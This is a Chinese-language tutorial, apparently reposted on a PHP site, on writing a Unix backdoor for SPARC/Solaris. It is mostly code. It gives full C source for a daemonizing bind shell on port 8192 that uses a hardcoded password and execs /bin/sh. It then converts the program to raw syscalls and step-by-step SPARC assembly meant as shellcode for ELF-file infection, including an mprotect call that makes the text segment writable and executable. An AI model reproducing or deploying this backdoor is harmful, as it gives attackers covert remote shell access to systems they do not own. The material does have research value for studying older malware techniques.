文章详情

  • 游戏榜单
  • 软件榜单
关闭导航
热搜榜
热门下载
热门标签
php爱好者> php文档>SPARC/Solaris下的Unix后门初探(1)

SPARC/Solaris下的Unix后门初探(1)

时间:2007-02-17  来源:PHP爱好者

无论从感染ELF文件角度还是编写远程shellcode角度都有必要研究SPARC/Solaris下
的网络系统调用。这个方向并没有现成的资料,我也是摸着石头过河,给大家探个路。

--------------------------------------------------------------------------
/* gcc -g -ggdb -o s s.c -lsocket */
#include <signal.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int                s, c;
struct sockaddr_in serv_addr;
char *             name[2];
char               pass[9] = "xxxxxxxx";

int main ( int argc, char * argv[] )
{
if ( fork() == 0 )  /* 子进程 */
{
setsid();  /* become session leader */
signal( SIGHUP, SIG_IGN );
if ( fork() == 0 )  /* 子进程 */
{
serv_addr.sin_family      = 2;
serv_addr.sin_addr.s_addr = 0;
serv_addr.sin_port        = 0x2000;  // 端口8192
// 创建TCP套接字,这里与Linux有区别
s                         = socket( 2, 2, 6 );
bind( s, ( struct sockaddr * )&serv_addr, 0x10 );
listen( s, 1 );
signal( SIGCHLD, SIG_IGN );
while ( 1 )
{
c = accept( s, 0, 0 );
if ( fork() == 0 )  /* 子进程 */
{
close( s );
/* 用c进行通信,做一次弱验证保护 */
while ( strcmp( pass, "12345678" ) != 0 )
{
read( c, pass, 8 );
}
// 准备输入输出重定向,标准技术
dup2( c, 0 );
dup2( c, 1 );
dup2( c, 2 );
close( c );  /* 这里可以关闭c */
name[0] = "/bin/sh";
name[1] = 0;
execve( name[0], name, 0 );
exit( 0 );  /* 防止execve()失败 */
}
close( c );  /* 这里必须关闭c */
}  /* end of while */
}
}
return( 0 );  /* 父进程 */
}  /* end of main */
--------------------------------------------------------------------------

该程序只能编译成动态版本,如果指定-static,发现

[scz@ /space/staff/scz/src]> gcc -g -ggdb -static -o s s.c -lsocket
未定义符号                在文件中
endnetconfig              /usr/lib/libsocket.a(_soutil.o)
setnetconfig              /usr/lib/libsocket.a(_soutil.o)
getnetconfig              /usr/lib/libsocket.a(_soutil.o)
ld: 致命的: 符号参照错误. 没有输出被写入s
[scz@ /space/staff/scz/src]>

我尝试了/usr/lib和/lib下的很多库,都无法解决这个问题。后来拷贝
/usr/lib/libsocket.a到当前目录,用ar dv ./libsocket.a _soutil.o处理,然后
链接一样失败。甚至ar xv ./libsocket.a后用ld命令进行手工链接,依旧存在外部
符号无着落的问题。

大家知道,没有静态版本,要想得到一个精简的汇编代码版本是不可能的,总不能在
浩如烟海的动态链接库里单步跟踪下去判断中断调用发生在哪里。还好,可以用
truss跟踪。适当调整上述代码,用truss跟踪后有如下内容:

setsid()                                        = 2260
sigaction(SIGHUP, 0xEFFFFC58, 0xEFFFFCD8)       = 0
so_socket(2, 2, 6, "", 1)                       = 3
bind(3, 0x00021E60, 16)                         = 0
listen(3, 1)                                    = 0
sigaction(SIGCLD, 0xEFFFFC58, 0xEFFFFCD8)       = 0
accept(3, 0x00000000, 0x00000000) (sleeping...)

这堆信息就不用我再废话解释了吧。ok,至此我们有了一个绝妙的想法,既然得不到
静态版本主要由于libsocket.a外部符号无着落,那么我用syscall呢?直接进行相对
底层的系统调用,呵呵,其实以前很少用syscall的,这次也是被逼无奈嘛。现在可
以抛弃-lsocket链接开关了,这只猪害人不浅。

关于setsid(),如果用gdb反汇编一路看下去,还是很快定位到中断调用的,但是我
们可以直接观察/usr/include/sys/syscall.h,第39号系统调用的注释中有:

setsid() == syscall( 39, 3 ) == syscall( SYS_pgrpsys, 3 )

显然可以直接替换setsid()。至于signal,对应48号系统调用(SYS_signal),也直接
利用syscall完成。

--------------------------------------------------------------------------
// gcc -g -ggdb -static -o s s.c
// 使用syscall之后,可以抛弃-lsocket链接开关
// 由于libsocket.a有点问题,存在外部符号无着落,无法使用静态链接开关
// 但是现在我们抛开了libsocket.a,可以指定-static了,哈哈

#include <signal.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/syscall.h>
#include <fcntl.h>

int                s, c;
struct sockaddr_in serv_addr;
char *             name[2];
char               pass[9] = "xxxxxxxx";

int main ( int argc, char * argv[] )
{
if ( fork() == 0 )  /* 子进程 */
{
// setsid();  /* become session leader */
// SYS_pgrpsys
syscall( 39, 3 );
// signal( SIGHUP, SIG_IGN );
// SYS_signal
syscall( 48, 1, 1 );
if ( fork() == 0 )  /* 子进程 */
{
serv_addr.sin_family      = 2;
serv_addr.sin_addr.s_addr = 0;
// 使用big endian序
serv_addr.sin_port        = 0x2000;  // 端口8192
// 创建TCP套接字,这里与Linux有区别
// s                         = socket( 2, 2, 6 );
// SYS_so_socket
s                         = syscall( 230, 2, 2, 6 );
// bind( s, ( struct sockaddr * )&serv_addr, 0x10 );
// SYS_bind
syscall( 232, s, ( struct sockaddr * )&serv_addr, 16 );
// listen( s, 1 );
// SYS_listen
syscall( 233, s, 1 );
// signal( SIGCHLD, SIG_IGN );
syscall( 48, 18, 1 );
while ( 1 )
{
// c = accept( s, 0, 0 );
// SYS_accept
c = syscall( 234, s, 0, 0 );
if ( fork() == 0 )  /* 子进程 */
{
// close( s );
// SYS_close
syscall( 6, s );
/* 用c进行通信,做一次弱验证保护 */
while ( strcmp( pass, "12345678" ) != 0 )
{
// read( c, pass, 8 );
// SYS_read
syscall( 3, c, pass, 8 );
}
// 准备输入输出重定向,标准技术
// dup2( c, 0 );
// dup2( c, 1 );
// dup2( c, 2 );
// SPARC/Solaris没有单独实现dup2,而是用fcntl实现
// 有点其他问题,请参看APUE,天晓得发生了什么
// syscall( SYS_fcntl, c, F_DUP2FD, 0 );
syscall( 62, c, 9, 0 );
syscall( 62, c, 9, 1 );
syscall( 62, c, 9, 2 );
// close( c );  /* 这里可以关闭c */
syscall( 6, c );
name[0] = "/bin/sh";
name[1] = 0;
execve( name[0], name, 0 );
// exit( 0 );  /* 防止execve()失败 */
// SYS_exit
syscall( 1, 0 );
}
// close( c );  /* 这里必须关闭c */
syscall( 6, c );
}  /* end of while */
}
}
return( 0 );  /* 父进程 */
}  /* end of main */
--------------------------------------------------------------------------

对于fork(),可以gdb ./s后disas _libc_fork查看。粗略浏览一遍之后,觉得基本
上每个系统调用都能得到机器码,下面着手细化每个系统调用,毕竟和i386/Linux不
同了。

--------------------------------------------------------------------------
0x101c0 <main+12>      :  call  0x1267c <fork>
0x101c4 <main+16>      :  nop
0x101c8 <main+20>      :  cmp   %o0, 0
0x101cc <main+24>      :  bne   0x10434 <main+640>
0x101d0 <main+28>      :  nop

0x131c4 <_libc_fork>   :  mov   2, %g1     ! 0x2
0x131c8 <_libc_fork+4> :  ta    8
0x131cc <_libc_fork+8> :  bcc   0x131e0 <_libc_fork+28>
0x131d0 <_libc_fork+12>:  sethi %hi(0x16000), %o5
0x131d4 <_libc_fork+16>:  or    %o5, 0x90, %o5      ! 0x16090 <_cerror>
0x131d8 <_libc_fork+20>:  jmp   %o5
0x131dc <_libc_fork+24>:  nop
0x131e0 <_libc_fork+28>:  tst   %o1
0x131e4 <_libc_fork+32>:  bne,a 0x131ec <_libc_fork+40>
0x131e8 <_libc_fork+36>:  mov   %g0, %o0
0x131ec <_libc_fork+40>:  retl
0x131f0 <_libc_fork+44>:  nop
--------------------------------------------------------------------------

综合判断后提炼如下:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov   2, %g1
ta    8
tst   %o1       ! %o1不为0表示是子进程
bne,a .+16      ! 是子进程,跳转
mov   %g0, %o0  ! 延迟插槽,注意理解延迟插槽的执行顺序
call  .+8
nop
nop             ! 需要替换,此时%o0为0,子进程继续
");
}  /* end of main */
--------------------------------------------------------------------------

可以用truss ./asm观察一下上述代码是否成功执行了fork()系统调用,man手册里提
到fork()失败会返回-1。

下面来观察syscall( 39, 3 ):

--------------------------------------------------------------------------
0x101d4 <main+32>   :  mov   0x27, %o0  ! 0x27
0x101d8 <main+36>   :  mov   3, %o1
0x101dc <main+40>   :  call  0x10fec <syscall>
0x101e0 <main+44>   :  nop

0x10fec <syscall>   :  clr   %g1
0x10ff0 <syscall+4> :  ta    8
0x10ff4 <syscall+8> :  bcc   0x11008 <syscall+28>
0x10ff8 <syscall+12>:  sethi %hi(0x16000), %o5
0x10ffc <syscall+16>:  or    %o5, 0x90, %o5      ! 0x16090 <_cerror>
0x11000 <syscall+20>:  jmp   %o5
0x11004 <syscall+24>:  nop
0x11008 <syscall+28>:  retl
0x1100c <syscall+32>:  nop
--------------------------------------------------------------------------

综合判断后提炼如下:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov   0x27, %o0
mov   3, %o1
clr   %g1
ta    8
");
}  /* end of main */
--------------------------------------------------------------------------

同样可以用truss ./asm观察一下上述代码是否成功执行了setsid()系统调用。

下面来观察syscall( 48, 1, 1 ):

--------------------------------------------------------------------------
0x101e4 <main+48>:      mov  0x30, %o0  ! 0x30
0x101e8 <main+52>:      mov  1, %o1
0x101ec <main+56>:      mov  1, %o2
0x101f0 <main+60>:      call 0x10fec <syscall>
0x101f4 <main+64>:      nop
--------------------------------------------------------------------------

综合判断后提炼如下:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov   0x30, %o0
mov   1, %o1
mov   1, %o2
clr   %g1
ta    8
");
}  /* end of main */
--------------------------------------------------------------------------

有了上面的研究基础,下面直接编写syscall( 1, 0 ):

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov   0x01, %o0
clr   %o1
clr   %g1
ta    8
");
}  /* end of main */
--------------------------------------------------------------------------

ok,到此为止,我们不急于分析网络系统调用,计划先整和出一个汇编版本的daemon
框架:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov   2, %g1
ta    8
tst   %o1       ! %o1不为0表示是子进程
bne,a .+16      ! 是子进程,跳转
mov   %g0, %o0  ! 延迟插槽
call  exit
nop
mov   0x27, %o0 ! 此前%o0为0,子进程继续
mov   3, %o1
clr   %g1
ta    8
mov   0x30, %o0
mov   1, %o1
mov   1, %o2
clr   %g1
ta    8
mov   2, %g1
ta    8
tst   %o1       ! %o1不为0表示是子进程
bne,a .+16      ! 是子进程,跳转
mov   %g0, %o0  ! 延迟插槽
call  exit
nop
exit:
mov   0x01, %o0
clr   %o1
clr   %g1
ta    8
");
}  /* end of main */
--------------------------------------------------------------------------

哈哈,虽然SPARC总是和我过不去,可也要留下点回忆嘛。

接下来观察s = syscall( 230, 2, 2, 6 ):

--------------------------------------------------------------------------
0x10244 <main+144>:     mov   0xe6, %o0
0x10248 <main+148>:     mov   2, %o1
0x1024c <main+152>:     mov   2, %o2
0x10250 <main+156>:     mov   6, %o3
0x10254 <main+160>:     call  0x10fec <syscall>
0x10258 <main+164>:     nop
0x1025c <main+168>:     sethi %hi(0x27800), %o1
0x10260 <main+172>:     st    %o0, [ %o1 + 0x1b4 ]        ! 0x279b4 <s>
--------------------------------------------------------------------------

从这里可以看出s由%o0返回,其余的对于我们已经不新鲜了:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov   0xe6, %o0
mov   0x02, %o1
mov   0x02, %o2
mov   0x06, %o3
clr   %g1
ta    8
st    %o0, [ %l7 ]  ! [ %l7 ]存放s
");
}  /* end of main */
--------------------------------------------------------------------------

如果去掉最后的st指令,可以用truss ./asm检验效果,最后的st指令是保存s的意思,
这里假设%l7已经指向正确的内存空间。

接下来观察syscall( 232, s, ( struct sockaddr * )&serv_addr, 16 ):

--------------------------------------------------------------------------
0x1020c <main+88> :  sethi  %hi(0x27800), %o0
0x10210 <main+92> :  mov    2, %o1
0x10214 <main+96> :  sth    %o1, [ %o0 + 0x1b8 ]  ! serv_addr.sin_family = 2;
0x10218 <main+100>:  sethi  %hi(0x27800), %o0
0x1021c <main+104>:  mov    4, %o1
0x10220 <main+108>:  or     %o0, 0x1b8, %o2       ! 0x279b8 <serv_addr>
0x10224 <main+112>:  add    %o1, %o2, %o0         ! 0x279bc <serv_addr+4>
0x10228 <main+116>:  clr    [ %o0 ]               ! serv_addr.sin_addr.s_addr = 0;
0x1022c <main+120>:  sethi  %hi(0x27800), %o0
0x10230 <main+124>:  mov    2, %o1
0x10234 <main+128>:  or     %o0, 0x1b8, %o2       ! 0x279b8 <serv_addr>
0x10238 <main+132>:  add    %o1, %o2, %o0         ! 0x279ba <serv_addr+2>
0x1023c <main+136>:  sethi  %hi(0x2000), %o1
0x10240 <main+140>:  sth    %o1, [ %o0 ]          ! serv_addr.sin_port = 0x2000;

0x10264 <main+176>:  sethi  %hi(0x27800), %o1
0x10268 <main+180>:  mov    0xe8, %o0
0x1026c <main+184>:  ld     [ %o1 + 0x1b4 ], %o1  ! %o1设置成s
0x10270 <main+188>:  sethi  %hi(0x27800), %o3
0x10274 <main+192>:  or     %o3, 0x1b8, %o2       ! 0x279b8 <serv_addr>
0x10278 <main+196>:  mov    0x10, %o3             ! 16
0x1027c <main+200>:  call   0x10fec <syscall>
0x10280 <main+204>:  nop
--------------------------------------------------------------------------

这两段比较晦涩难懂,我也无法确认该如何提炼,先尝试如下:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov   2, %o1
sth   %o1, [ %l7 + 0x04 ]  ! serv_addr.sin_family
clr   [ %l7 + 0x08 ]       ! serv_addr.sin_addr.s_addr
sethi %hi(0x2000), %o1
sth   %o1, [ %l7 + 0x06 ]  ! serv_addr.sin_port
mov   0xe8, %o0            ! 第一个参数232
ld    [ %l7 ], %o1         ! 第二个参数s
mov   4, %o2
add   %l7, %o2, %o2        ! 第三个参数&serv_addr
mov   0x10, %o3            ! 最后一个参数16
clr   %g1
ta    8
");
}  /* end of main */
--------------------------------------------------------------------------

不用观察syscall( 233, s, 1 )、syscall( 48, 18, 1 ),直接编写它们:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov   0xe9, %o0            ! 第一个参数233
ld    [ %l7 ], %o1         ! 第二个参数s
mov   0x01, %o2            ! 第三个参数1
clr   %g1
ta    8
mov   0x30, %o0
mov   0x12, %o1
mov   0x01, %o2
clr   %g1
ta    8
");
}  /* end of main */
--------------------------------------------------------------------------

下面是c = syscall( 234, s, 0, 0 )的相关代码片段,尚未提炼:

--------------------------------------------------------------------------
0x102c0 <main+268>:     sethi  %hi(0x27800), %o1
0x102c4 <main+272>:     mov    0xea, %o0
0x102c8 <main+276>:     ld     [ %o1 + 0x1b4 ], %o1
0x102cc <main+280>:     clr    %o2
0x102d0 <main+284>:     clr    %o3
0x102d4 <main+288>:     call   0x10fec <syscall>
0x102d8 <main+292>:     nop
0x102dc <main+296>:     sethi  %hi(0x27800), %o1
0x102e0 <main+300>:     st     %o0, [ %o1 + 0x1b0 ]        ! 0x279b0 <c>
--------------------------------------------------------------------------

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov   0xea, %o0
ld    [ %l7 ], %o1         ! 第二个参数s
clr   %o2
clr   %o3
clr   %g1
ta    8
st    %o0, [ %l7 + 4 ]     ! [ %l7 +4 ]存放c
");
}  /* end of main */
--------------------------------------------------------------------------

一个更加残酷的问题摆到了革命群众的面前。Linux下有125号系统调用,
SPARC/Solaris呢?我在Linux的/usr/include/bits/syscall.h中大海捞针一般地找
到了125号系统调用的符号名SYS_mprotect,于是转回SUN下在
/usr/include/sys/syscall.h中查找SYS_mprotect,还好,116号系统调用就是的。
可入口参数呢?我怎么知道那些破破的SPARC芯片寄存器中哪个该设置成相关参数呢?
如果你以为革命群众已经到了最后关头,那就太不具备革命乐观主义精神了。万般无
奈下,我man mprotect了,呼呼,居然有东西出现,那么下面就不要废话啦,先赶快
提取mprotect的汇编码:

--------------------------------------------------------------------------
/* gcc -o test test.c */
#include <stdio.h>
#include <errno.h>
#include <sys/mman.h>

int main ( int argc, char * argv[] )
{
char * buf;
char   c;

/* 分配一块内存,拥有缺省的rw-保护 */
buf = ( char * )malloc( 1024 + 4096 - 1 );
if ( !buf )
{
perror( "Couldn't malloc( 1024 )" );
exit( errno );
}
/* Align to a multiple of PAGESIZE, assumed to be a power of two */
buf = ( char * )( ( ( unsigned long )buf + 4096 - 1 ) & ~( 4096 - 1 ) );
c       = buf[77];  /* Read ok */
buf[77] = c;        /* Write ok */
printf( "okn" );
/* Mark the buffer read-only. */
// 必须保证这里buf位于页边界上,否则mprotect()失败,报告无效参数 */
if ( mprotect( buf, 1024, PROT_READ ) )
{
perror( "nCouldn't mprotect" );
exit( errno );
}
c       = buf[77];  /* Read ok */
buf[77] = c;        /* Write error, program dies on SIGSEGV */

exit( 0 );
}  /* end of main */
--------------------------------------------------------------------------

[scz@ /export/home/scz/src]> gcc -o test test.c
[scz@ /export/home/scz/src]> ./test
ok
段错误 (core dumped)  <-- -- -- 内存保护起作用了
[scz@ /export/home/scz/src]>

用gdb ./test看到如下入口参数:

--------------------------------------------------------------------------
0x10bc4 <main+152>:     ld    [ %fp + -20 ], %o0
0x10bc8 <main+156>:     mov   0x400, %o1
0x10bcc <main+160>:     mov   1, %o2
0x10bd0 <main+164>:     call  0x21874 <mprotect>
0x10bd4 <main+168>:     nop
--------------------------------------------------------------------------

同样,并不直接使用mprotect系统调用,依旧采用syscall的方式,我们编写如下代
码:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov   0x74, %o0            ! 第一个参数116
sethi %hi(0x10000), %o1    ! 第二参数,起始地址
sethi %hi(0x00002000), %o2 ! 第三个参数8096
mov   0x07, %o3            ! 第四个参数7,rwx
clr   %g1
ta    8
! call  .  ! 用于调试,设置个无限循环,然后用pmap观察
! nop
");
}  /* end of main */
--------------------------------------------------------------------------

别看目前代码这样清晰明了,可是费了不少手脚。关键需要注意的地方是起始地址必
须位于页边界上,将来我们可以取得_start之后与一个0xffff0000。甚至再简单点,
直接就使用上面这段代码,据我观察很多应用程序的_start都在0x10000到0x20000之
间。其次,这里想到了另外一个问题,6.c和7.c在文本段中只设置了4096字节的可读
可写区域,所以重复感染的次数不能太多,即使设置了4*4096字节的可读可写区域,
也不能重复感染太多次,否则就会出现段溢出错误,因为可能对只读内存区域进行了
写操作;再说重复感染多次,文件尺寸的激增也容易暴露,没有必要。我们这里姑且
先固定地使用0x10000做起始地址,回头打印一下通过程序找到的文本段起始地址,
看看是否符合页边界对齐的要求,如果符合,就可以动态设置起始地址。再说吧,
SPARC下罗嗦了许多。

我们可以整合出一个daemon,这个daemon监听8192端口:

--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov   0x74, %o0            ! 第一个参数116
sethi %hi(0x10000), %o1    ! 第二参数,起始地址
sethi %hi(0x00002000), %o2 ! 第三个参数8096
mov   0x07, %o3            ! 第四个参数7,rwx
clr   %g1
ta    8
bn,a  .-4                  ! 跳转去执行call .-4指令
bn,a  .-4                  ! 跳转去执行nop
call  .-4                  ! 跳转去执行前面这条bn,a .-4指令
nop                        ! 作为延迟插槽被执行一次,bn,a跳转后又执行一次
add   %o7, 172, %l7        ! %o7 + 172 指向本段代码尾部
mov   0xe6, %o0
mov   0x02, %o1
mov   0x02, %o2
mov   0x06, %o3
clr   %g1
ta    8
st    %o0, [ %l7 ]         ! [ %l7 ]存放s
mov   2, %o1
sth   %o1, [ %l7 + 0x04 ]  ! serv_addr.sin_family
clr   [ %l7 + 0x08 ]       ! serv_addr.sin_addr.s_addr
sethi %hi(0x2000), %o1
sth   %o1, [ %l7 + 0x06 ]  ! serv_addr.sin_port
mov   0xe8, %o0            ! 第一个参数232
ld    [ %l7 ], %o1         ! 第二个参数s
mov   4, %o2
add   %l7, %o2, %o2        ! 第三个参数&serv_addr
mov   0x10, %o3            ! 最后一个参数16
clr   %g1
ta    8
mov   0xe9, %o0            ! 第一个参数233
ld    [ %l7 ], %o1         ! 第二个参数s
mov   0x01, %o2            ! 第三个参数1
clr   %g1
ta    8
mov   0x30, %o0
mov   0x12, %o1
mov   0x01, %o2
clr   %g1
ta    8
mov   0xea, %o0
ld    [ %l7 ], %o1         ! 第二个参数s
clr   %o2
clr   %o3
clr   %g1
ta    8
st    %o0, [ %l7 + 4 ]     ! [ %l7 +4 ]存放c
exit:
mov   0x01, %o0
clr   %o1
clr   %g1
ta    8
.ascii  "xxxxxxxx"
.ascii  "xxxxxxxx"
.ascii  "xxxxxxxx"
.ascii  "xxxxxxxx"
");
}  /* end of main */
--------------------------------------------------------------------------
php爱好者站 http://www.phpfans.net PHP|MySQL|javascript|ajax|html.
相关阅读 更多 +
排行榜 更多 +
辰域智控app

辰域智控app

系统工具 下载
网医联盟app

网医联盟app

运动健身 下载
汇丰汇选App

汇丰汇选App

金融理财 下载